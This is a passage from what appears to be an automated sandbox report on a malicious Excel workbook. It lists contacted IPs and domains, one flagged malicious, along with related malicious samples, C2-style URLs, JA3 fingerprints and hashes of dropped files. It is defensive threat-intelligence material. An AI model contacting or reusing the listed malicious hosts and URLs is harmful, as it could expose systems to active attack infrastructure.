                                                                                                                                              https://dataservice.o365filtering.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://api.cortana.ai2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://onedrive.live.com2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://ovisualuiapp.azurewebsites.net/pbiagave/2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                unknown
                                                                                                                                                https://visio.uservoice.com/forums/368202-visio-on-devices2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://directory.services.2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  unknown
                                                                                                                                                  https://login.windows-ppe.net/common/oauth2/authorize2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://staging.cortana.ai2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drfalse
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    unknown

                                                                                                                                                    Contacted IPs

                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                    Public

                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                    192.185.48.167
                                                                                                                                                    forfacks.comUnited States
                                                                                                                                                    46606UNIFIEDLAYER-AS-1UStrue
                                                                                                                                                    192.185.113.120
                                                                                                                                                    dreamhimalayan.comUnited States
                                                                                                                                                    46606UNIFIEDLAYER-AS-1USfalse

                                                                                                                                                    General Information

                                                                                                                                                    Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                    Analysis ID:432052
                                                                                                                                                    Start date:09.06.2021
                                                                                                                                                    Start time:17:27:10
                                                                                                                                                    Joe Sandbox Product:CloudBasic
                                                                                                                                                    Overall analysis duration:0h 5m 46s
                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                    Report type:light
                                                                                                                                                    Sample file name:viVrtGR9Wg.xlsb
                                                                                                                                                    Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                    Number of analysed new started processes analysed:19
                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                    Technologies:
                                                                                                                                                    • HCA enabled
                                                                                                                                                    • EGA enabled
                                                                                                                                                    • HDC enabled
                                                                                                                                                    • AMSI enabled
                                                                                                                                                    Analysis Mode:default
                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                    Detection:MAL
                                                                                                                                                    Classification:mal76.expl.evad.winXLSB@5/10@2/2
                                                                                                                                                    EGA Information:Failed
                                                                                                                                                    HDC Information:Failed
                                                                                                                                                    HCA Information:
                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                    • Number of executed functions: 0
                                                                                                                                                    • Number of non-executed functions: 0
                                                                                                                                                    Cookbook Comments:
                                                                                                                                                    • Adjust boot time
                                                                                                                                                    • Enable AMSI
                                                                                                                                                    • Found application associated with file extension: .xlsb
                                                                                                                                                    • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                    • Attach to Office via COM
                                                                                                                                                    • Scroll down
                                                                                                                                                    • Close Viewer
                                                                                                                                                    Warnings:
                                                                                                                                                    Show All
                                                                                                                                                    • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 52.147.198.201, 20.82.210.154, 184.30.25.218, 40.88.32.150, 92.122.145.220, 52.109.76.68, 52.109.12.23, 52.109.76.36, 13.88.21.125, 20.54.104.15, 2.20.142.209, 2.20.142.210, 20.54.26.129, 20.54.7.98, 92.122.213.247, 92.122.213.194, 20.50.102.62
                                                                                                                                                    • Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, nexus.officeapps.live.com, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, www.bing.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, dual-a-0001.dc-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, e16646.dscg.akamaiedge.net, skypedataprdcolwus15.cloudapp.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net

                                                                                                                                                    Simulations

                                                                                                                                                    Behavior and APIs

                                                                                                                                                    No simulations

                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                    IPs

                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                    192.185.48.167DEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                      audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        192.185.113.120ForeignRemittance_20210219_USD.xlsxGet hashmaliciousBrowse
                                                                                                                                                        • www.guepard-marine.com/ivay/?PbvpO8=7c4TMZ8HJw/eFJUVC4Rd5gN+5dnR2WOvXzuZPR1ukaHcCIIPr6KkFYNadeo0+7aaqJva+Q==&-Zp=fxoDxR_8sz1ds
                                                                                                                                                        c4p1vG05Z8.exeGet hashmaliciousBrowse
                                                                                                                                                        • www.guepard-marine.com/ivay/?oPnpM4=7c4TMZ8CJ3/aFZYZA4Rd5gN+5dnR2WOvXz2JTSpvg6HdC5kJsqboTc1Ye7Ei6rephKyq&Lh0l=ZTdp62D8T

                                                                                                                                                        Domains

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        dreamhimalayan.comDEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        forfacks.comDEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167

                                                                                                                                                        ASN

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        UNIFIEDLAYER-AS-1USDEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 108.167.156.223
                                                                                                                                                        analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 108.167.156.223
                                                                                                                                                        research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        OM PHOENIX TRADERS.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.254.185.244
                                                                                                                                                        research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        fm8m5vuj2w.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.26.241
                                                                                                                                                        research-1110827633.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        swift_08_06_21.exeGet hashmaliciousBrowse
                                                                                                                                                        • 162.241.61.204
                                                                                                                                                        INVOICES,PDF.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.254.224.94
                                                                                                                                                        Outstanding_Payments.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.129.69
                                                                                                                                                        xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.107.121
                                                                                                                                                        xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.145.162
                                                                                                                                                        SecuriteInfo.com.Trojan.GenericKD.46442270.25635.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        SecuriteInfo.com.__vbaHresultCheckObj.9138.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        MLJ.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        LEMOH.exeGet hashmaliciousBrowse
                                                                                                                                                        • 162.241.219.209
                                                                                                                                                        UNIFIEDLAYER-AS-1USDEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 108.167.156.223
                                                                                                                                                        analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 108.167.156.223
                                                                                                                                                        research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        OM PHOENIX TRADERS.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.254.185.244
                                                                                                                                                        research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        fm8m5vuj2w.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.26.241
                                                                                                                                                        research-1110827633.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.33.8
                                                                                                                                                        swift_08_06_21.exeGet hashmaliciousBrowse
                                                                                                                                                        • 162.241.61.204
                                                                                                                                                        INVOICES,PDF.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.254.224.94
                                                                                                                                                        Outstanding_Payments.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.129.69
                                                                                                                                                        xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.107.121
                                                                                                                                                        xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.145.162
                                                                                                                                                        SecuriteInfo.com.Trojan.GenericKD.46442270.25635.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        SecuriteInfo.com.__vbaHresultCheckObj.9138.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        MLJ.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.113.219
                                                                                                                                                        LEMOH.exeGet hashmaliciousBrowse
                                                                                                                                                        • 162.241.219.209

                                                                                                                                                        JA3 Fingerprints

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        37f463bf4616ecd445d4a1937da06e19eWiuOkCSSf.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        DEMLwnv0Nt.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        ushWNWLfGL.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Nota Fiscal Eletronica 00111834.msiGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        snAtEF9kUq.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Bills Pending Approval.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Documents_13134976_1377491379.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Bills Pending Approval.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        GDrVYvtzuO.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        9E7YOr0kp1.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        aKdhpWlFPg.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        vSYEHJjK1G.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        FaceCheck - Installer.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Julie.randall Completed REFERRAL AGREEMENT 60926.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        DPSGNwkO1Z.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        x1Q123VhUa.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        Snc3sPQ2yl.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120
                                                                                                                                                        nU8kVKVAc8.exeGet hashmaliciousBrowse
                                                                                                                                                        • 192.185.48.167
                                                                                                                                                        • 192.185.113.120

                                                                                                                                                        Dropped Files

                                                                                                                                                        No context

                                                                                                                                                        Created / dropped Files

                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\2A67B087-45F1-4236-B3FB-851D3F1CEFAA
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):134915
                                                                                                                                                        Entropy (8bit):5.369296573227476
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:1536:6cQIKNEeBXA3gBwlpQ9DQW+z7534ZlCKWXboOilX5ENLWME9:qEQ9DQW+zAXOe
                                                                                                                                                        MD5:CC29C756872572B22BC20914A88BF0CB
                                                                                                                                                        SHA1:2642D9774D713F46261AB14F67C02A38E8B44405
                                                                                                                                                        SHA-256:371B0DADE9A81901043CEC70392075E1390DD9B009D41B8F062FCD66179FEF53
                                                                                                                                                        SHA-512:B753E756FAD81FD4F0E65F6A8F961E60A183FA176AF08A76189516D9BF787D3C76538D21E3E0A08F1AAA237D091AD2B5CD5130B21BBEF299C0C7B3831C6F3143
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:low
                                                                                                                                                        Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-09T15:28:08">.. Build: 16.0.14207.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\25AE9BF8.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):848
                                                                                                                                                        Entropy (8bit):7.595467031611744
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                        MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                        SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                        SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                        SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\6AB7CC6.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 934 x 29, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):42557
                                                                                                                                                        Entropy (8bit):7.992800895943226
                                                                                                                                                        Encrypted:true
                                                                                                                                                        SSDEEP:768:Pfsq4UmepRdblCFcXhw9KnRTRews6xD0FvBlwAS1A8x7BcS0OvD230:PR3ZblCF28KRsws6CFv0AYx7Bl3b230
                                                                                                                                                        MD5:B1F262A694930ADB699FA94E3394887F
                                                                                                                                                        SHA1:9C9B66D3A3F09AECA45DB94304CDD6FB3C5BD4C9
                                                                                                                                                        SHA-256:9C99EC61392B9022A38C1354124360147E8185065095BD2EC92B1416CF9F4B68
                                                                                                                                                        SHA-512:1CA7E6750178B88EC3AA7A0B83348EA389E26C27E0D7E919D807BE470714E5B4F04ACEB69D391F0498D4E465E6620E9449CA2F40755B5CE8196E683502EBF5F4
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............6......sRGB.........pHYs..........+......IDATx^....dU....S.:ON.0.0....s0 .....$..%#HR.T.......$..0C...Su...[.TM..{.......C.S}..^{......].^..ZX.Wb.W....X!..A.P....0..u...X.V.3.....z..tiO{GW..?...A.......ca2Y.... ...cAX..zZ..2M.$..g.O.e..r?z&................*....*.=..Z.A........a.Z..ka<..N.R.c......./.[..j.^...Nk.(..y.,..z"...R..Z+..D1Q....z....0..u~..jU_.b.Z.V....:..5:.(.......-...A2.O.{..p.j..].<........0..0..+...E...^...z....#..j.d...X._..1..M.5..O.^.."..l....G....U1........X.6.Z.\.&..h..m*..T..xH.j..3<$.H...a..n....}t.A.jT.6G.h@..<.x..x...cb......C..{.D.'QW<.o~..?.....4F_..B..h.\...y8..)....j.Z.d..#P..P..O.....(.0...f....B_z>.E .w../..(...'.Fw..yT..G..)...b9..g.AA`.a..v.zfY.F........._r.i.d.`....Q.g.m"..\..&.t.X.q1}.$.S....2..~...d."..1.. (.0.F....t...i..@f.. ...(..8..q.....I.....ad.....z%....;...y.O...X<Q..X.....B..H........<)....4.&9.4......1.h..#B.....g.....bO.59.A..M.....J..vX3*5..X....(G.A.u...8.. .{
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8F1AED13.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):557
                                                                                                                                                        Entropy (8bit):7.343009301479381
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                        MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                        SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                        SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                        SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\ACF69EDA.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 521 x 246, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):32996
                                                                                                                                                        Entropy (8bit):7.975478139053759
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:768:N4k48AnTViUidx37OODgvnrxtxAudMN1VTRVHdB4K7K:NE8m+L37OOwrCXN1VTR1PK
                                                                                                                                                        MD5:4E69B72B0CE87CC7EE30AA1A062147FE
                                                                                                                                                        SHA1:09B0AA5414E08756E0AE53E1BE5C70DB4DEAF2E8
                                                                                                                                                        SHA-256:77A1F749389CBF771D5197FF0FF17113FCA1D91989ADCADF2852876A6CC14988
                                                                                                                                                        SHA-512:6246AF2137E773F7719033AFE75F0B00FF3A4B5543DBA53737FC8D33EE42478E3D8A5CF166E9EFD2F54A2F3E0D62417BDDC1CB824642305B59AB1229313D2D79
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR..............[.J....sRGB.........pHYs..........+......IDATx^.].`......{%.$..A...R.P@z....O...S.<;.VT.REA.(...I...{.......m...]..r./.......~.|]h.Z....P.(........E."@...P.(.v.P.@..E."@....#@y.......E."@y.......E."...*78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x..
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B73ABB99.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 246 x 108, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):10270
                                                                                                                                                        Entropy (8bit):7.975714699744477
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:192:3sXvKLMbye/PEXiKTUgCto9h4F6NwfU6vGDpdYNbcQZgkbd4cgc:3iLh/gJ59CDfU6LocbGK
                                                                                                                                                        MD5:9C4F09E387EA7B36C8149EA7C5F8876E
                                                                                                                                                        SHA1:FF83384288EB89964C3872367E43F25FAFF007CC
                                                                                                                                                        SHA-256:A51C1D65092272DAEB2541D64A10539F0D04BC2F51B281C7A3296500CFCA56DE
                                                                                                                                                        SHA-512:0FDDE22CFDDE8BB1C04842D2810D0FD6D42192594E0D6120DE401B08B7E2CFFB5333792BC748E93CD70FA14734CC7D950620CB977DDBBDB52D92BDA8F35521F8
                                                                                                                                                        Malicious:false
